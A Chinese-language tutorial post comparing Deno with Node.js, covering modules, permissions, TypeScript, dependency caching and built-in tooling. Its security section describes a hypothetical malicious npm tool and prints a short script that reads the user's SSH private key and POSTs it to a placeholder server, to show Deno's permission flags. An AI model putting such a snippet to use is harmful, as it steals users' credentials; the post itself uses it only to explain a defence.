Deno 和 Node 的区别
Deno VS Node
| Node | Deno | |
|---|---|---|
| API 引入方式 | 模块引入 | 全局对象 |
| 模块系统 | CommonJS & 新版 node 实验性 ES Module | ES Module 浏览器实现 |
| 安全 | 无安全限制 | 默认安全 |
| Typescript | 第三方，如通过 ts-node 支持 | 原生支持 |
| 包管理 | npm + node_modules | 原生支持 |
| 异步操作 | 回调 | Promise |
| 包分发 | 中心化 npmjs.com | 去中心化 import url |
| 入口 | package.json配置 | import url 直接引入 |
| 打包、测试、格式 | 第三方eslint、gulp、webpack、babel | 原生支持 |
1.内置 API 引用方式不同
node 模块导入
node 内置 API 通过模块导入的方式引用，例如：
const fs = require('fs');
fs.readFileSync("./data.txt");
deno 全局对象
而 deno 则是一个全局对象 Deno 的属性和方法：
Deno.readFileSync("./data.txt");
具体 deno 有哪些方法，我们可以通过 repl 看一下：
deno # 或 deno repl
进入 repl 后，输入 Deno 回车，我们可以看到：
{
Buffer:[Function:Buffer],
readAll:[AsyncFunction:readAll];
readAllSync:[Function: readAllSync];
wrteAll:[AsyncFunction: writeAll];
WriteAllSync:[Function: writeAllSync]
}
这种处理的方式好处是简单、方便，坏处是没有分类，想查找忘记的 API 比较困难，总体来说见仁见智。
2.模块系统
node CommonJS 规范
我们都知道 node 采用的是 CommonJS 规范，而 deno 则采用的是 ES Module 的浏览器实现，我们先来认识一下：
ES Module 的浏览器实现
具体关于 ES Module 相比大家都早已熟知，但其浏览器实现可能大家还不是很熟悉，所以我们具体看一下浏览器的实现：
<body>
<script type='module'>
// 从 URL 导入
import Vue from "https://unpkg.com/[email protected]/dist/vue.esm.browser.js";
// 从相对路径导入
import * as utils from "./utils.js";
// 从绝对路径导入
import "/index.js";
// 不支持
import foo from "foo.js";
import bar from "bar/index.js";
import zoo from "./index"; // 没有 .js 后缀
script>
body>
deno 的模块规范
deno 完全遵循了 es module 浏览器实现，所以 deno 也是如此：
// 支持
import * as fs from "https://deno.land/std/fs/mod.ts";
import { deepCopy } from "./deepCopy.js";
import foo from "./foo.ts";
// 不支持
import foo from "foo.ts";
import bar from "./bar"; // 必须制定扩展名
我们发现其实和我们平常在 webpack 或者 ts 使用 ES Module 最大的 不同：
- 可以通过 import url 直接引用线上资源；
- 资源不可省略扩展名和文件名
关于第一点，争议非常大，有人很看好，觉得极大的扩展了 deno 库的范围；也有人不太看好，觉得国内网速的原因，并不实用。
3.安全
如果模块规范是 node 和 deno 最大的不同，那么对安全的处理，则是另外一个让人摸不着头脑的地方。
模拟盗号
在介绍之前我们先思考一下这个场景会不会出现：
我做了一个基于命令行的一键上网工具 breakwall，每个月 1 个 G 免费流量，然后将压缩后的 JS 代码发布到 npm 上，然后在各种渠道宣传一波。
羊毛党兴高采烈的 npm install -g breakwall ，然后每次使用的时候，我偷偷的将诸位的 ssh 密钥和各种能偷的文档及图片偷偷上传到我的服务器，在设定期限到期后，删除电脑上的资料，留下一句拿钱换资料，仅支持比特币。
默认安全的 deno
如果你觉得以上情况有可能出现，则会觉得下面的功能很实用，我们先用 deno 模拟执行以下代码：
// index.js
let rsa = Deno.readFileSync(Deno.dir("home") + "/.ssh/id_rsa");
rsa = new TextDecoder().decode(rsa);
fetch("http://jsonplaceholder.typicode.com/post/1",{
method:"POST",
body:JSON.stringify(rsa)
}).then((res) => res.json()).then((res) => console.log("密钥发送成功"));
console.log("start breakwall...");
PS: – unstable 是由于 Deno.dir API 不稳定
> deno run --unstable index.js
我们将会得到如下报错信息：
> deno run --unstable index.js
error:Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flag...
意思就是权限异常，需要访问环境变量，需要加上 --allow-env，我们加上这个参数再试一次，另外还需要 --allow-read、 --allow-net，最终的结果是：
> deno run --unstable --allow-env --allow-env --allow-net index.js
start breakwall...
密钥发送成功
白名单
那么有人就说了，如果我的应用确实需要访问网络和文件，但是有不想让它访问 .ssh 文件有没有办法？
当然可以了，我们可以给 --allow-read 和 --allow-net 制定白名单，名单之外都不可访问。
简化参数
如果是确认没问题的，或者是自己开发软件时，图个方便，可以直接使用 -A 或 --allow-all 参数允许所有权限：
> deno -A ---unstable index.js
start breakwall...
密钥发送成功
安全这方面见仁见智，有人觉得多余，有人觉得好用，极大的增加了安全性，如果你觉得这个功能是多余的，可以 deno run -A xxx 即可。
4.兼容浏览器 API
很多人不理解，为什么你一个服务端语言要兼容浏览器 API，以及怎么兼容。
为什么要兼容浏览器 API
关于为什么，我举一个例子大家就明白了，在设计 node 之处，关于输出函数本来叫 print 之类的，后来有人提议为什么不叫 console.log， ry 觉得挺不错，就接纳了意见。
但是，这个设计并不是刻意而为之，而 deno 的设计则刻意为之，通过与浏览器 API 保持一致，来减少大家的认知。
怎么兼容浏览器 API
（1）概念上兼容：
- 模块系统，从上面介绍看出 deno 是完全遵循浏览器实现的
- 默认安全，当然也不是自己创造的概念，W3C 早已做出了浏览器权限的规定，我们在做小程序的时候尤为明显，需要获取各种权限
- 对于异步操作返回 Promise
- 使用 ArrayBuffer 处理二进制
- 等等
（2）存在 window 全局变量
console.log(window === this, window === self, window === globalThis);
(3) 实现了 WindowOrWorkerGlobalScope 的全部方法
具体方法列表，我们可以参考：lib.deno.shared_global.d.ts 和 lib.deno.window.d.ts
// 请求方法
fetch("http://baidu.com");
// base64 转化
let encodeData = btoa('hello,world'); // 编码
let decodeData = atob(encodeData); // 解码
// 微任务
queueMicrotask(() =>{
console.log(123);
})
// 等等
（4）大趋势
总体而言，如果服务端和浏览器端存在相同概念，deno 就不会创造新的概念，这一点其实 node 也在做，新的 node 14.0 CHANGELOG 就也提及要实现 Universal JavaScript 和 Speccompliance and Web Compatibility 的思想，所以这点大家都应该会接受吧，毕竟大势所趋。
5.支持 Typescript
不管你喜欢与否，2020年了 ，必须学习 TS了，起码在面试的时候肯定会问的。
// index.ts
let str:string = "chenxishen";
str = 123;
> deno run index.ts
error TS2322: Type '123' is not assignable to type 'string'.
6.去除 node_modules
deno 没有 node_modules,那么它是怎么进行包管理的呢？我们先看下面的例子
// index.js
import {white, bgRed} from "https://deno.land/std/fmt/colors.ts";
console.log(bgRed(white("hello,world")));
> deno run index.js
Download https://deno.land/std/fmt/colors.ts
Compile https://deno.land/std/fmt/colors.ts
hello world!
我们看到有 Download 和 Complie 两个不走，我们会产生几个疑问：
（1）每次都要执行下载吗？
答：我们只需要 再执行一次就明白了，不需要每次下载。
> deno run inidex.js
hellow world!
(2) Download 和 Complie 的文件在哪里呢？
答：我们会发现，当前执行的目录，并没有 Download 和 Complie 文件，那文件放在哪里呢，我们首先来看一下 deno --help 命令：
> deno --help
SUBCOMMANDS:
#...
info Show info about cache or info related to source file
#...
ENVIRONMENT VARIABLES:
DENO_DIR set deno's base directory (defaults to $HOME/,deno)
deno info 命令展示了依赖关系，类似 package.json
> deno info index.js
local: /Users/chenxishen/Desktop/index.js
type: JavaScript
deps:
file:///Users/chenxishen/Desktop/index.js
└── https://deno.land/std/fmt/colors.ts
DENO_DIR 则为实际的安装和编译目录，相当于 node_modules,默认为 $ HOME/,deno (命令提示是这样的，但实际需要指定一下环境变量 export DENO_DIR=$ HOME/.deno),我们看一下
> tree $HOME/.deno
/Users/chenxishen/.deno
├── deps
│ └── https
│ └── deno.land
│ ├── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935
│ └── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadata.json
└── gen
└── https
└── deno.land
└── std
└── fmt
├── colors.ts.js
├── colors.ts.js.map
└── colors.ts.meta
8 directories, 5 files
（3）没网络了怎么办？
我们有些场景是将本地写好的代码部署到没有网络的服务器，那么当执行 deno run xxx 时，就是提示 error sending request.
答：将上面缓存的目录内容，直接拷贝到服务器并指定环境变量到其目录即可。
（4）依赖代码更新了怎么办？
答：当依赖模块更新时，我们可以通过 --reload 进行更新缓存，例如：
> deno run --reload index.js
我们还可以通过白名单的方式，只更新部分依赖，例如：
> deno run --reload-https://deno.land index.js
（5）仅缓存依赖，不执行代码有办法吗？
答：有的，我们可以通过 deno cache index.js 进行依赖缓存。
（6）多版本怎么处理？
答：暂时没有好的解决方案，只能通过 git tag 的方式区分版本。
7.标准模块与 node API 兼容
我们通过第 1 点可以看到，其实 deno 的 API 相对于 node 其实是少一些的，通过其文件大小也能看出来：
> ll /usr/local/bin/node /Users/chenxishen/.local/bin/deno
-rwxr-xr-x 1 42M /Users/chenxishen/,local/bin/deno
-rwxr-xr-x 1 70M /usr/local/bin/node
那这些少的 API 只能自己写 或者求助于社区吗？
deno 对于自身相对于 Node 少的和社区中常用的功能，提供了标准模块，其特点是不依赖非标准模块的内容，达到社区内的模块 引用最后都收敛于标准模块的效果。例如：
// 类似 node 中 chalk 包
import { bgRed, white } from "https://deno.land/std/fmt/colors.ts";
// 类似 node 中的 uuid 包
import { v4 } from "https://deno.land/std/uuid/mod.ts";
同时为了对 node 用户友好支持，提供 了 node API 的兼容
import * as path from "https://deno.land/std/node/path.ts";
import * as fs from "https://deno.land/std/node/fs.ts";
console.log(path.resolve('./', './test'))
所以，大家在为了 deno 社区做贡献的时候，首先要看一下标准模块有没有提供类似的功能，如果已经提供了可以进行引用。
8.异步操作
根据 ry 自己是说法，在设计 node 是有人提议 Promise 处理回调，但是他没听，用他自己的话说就是愚蠢的拒绝了。
Node 用回调的方式处理异步操作、deno 则选择用 Promise
// node 方式
const fs = require('fs');
fs.readFile('./data.txt',(err,data) =>{
if(err) return;
console.log(data);
})
另外 deno 支持 top-level-await,所以以上读取文件的代码可以为：
// deno
const data - await Deno.readFile("./data.txt");
console.log(data);
node 关于这方面也在一直改进，例如社区上很多 promisify 解决方法，通过包裹一层函数，实现目的。例如：
// node API promisify
const { promisify } = require('es6-promisify');
const fs = require("fs");
// 没有 top-level-await,只能包一层
async function main(){
const readFile = promisify(fs.readFile);
const data = await readFile("./data.txt");
console.log(data);
}
main();
9.单文件分发
我们知道 npm 包必须有 package.json 文件，里面不仅需要指明 main 或 module 或 browser 等字段来标明入口文件，还需要指明 name 、license、description 等字段说明这个包。
ry 觉得这些字段扰乱了开发者的视听，所以在 deno 中，其模块不需要任何配置文件，直接是 import url 的形式。
10.去中心化仓库
对应 www.npmjs.com 我们肯定都不陌生，它是推动 node 蓬勃发展的重要支点，但作者认为它是中心化仓库，违背了互联网去中心化原则。
所以 deno 并没有一个像 npmjs.com的仓库，通过 import url 的方式将互联网任何一处的代码都可以引用。
PS：deno 其实是有基于 GitHub 的第三方模块集合。
11.去依赖开发
我们在写一个 node 库或工具时，开发依赖是少不了的，例如 babel 做转换和打包、jest 做测试、prettier 做代码格式化，eslint 作代码格式化校验，gulp或者 webpack 做构建，让我们在开发前就搞得精疲力尽。
deno 通过内置了一些工具，解决了上述问题：
- deno bundle:打包命令，用来替换 babel、gulp 一类工具，例如: deno bundle ./index.ts;
- deno fmt: 格式化命令，用来替换 prettier 一类工具，例如 deno fmt ./index.ts
- deno test: 运行测试代码，用来替换 jest 一类工具，例如 deno test ./index.ts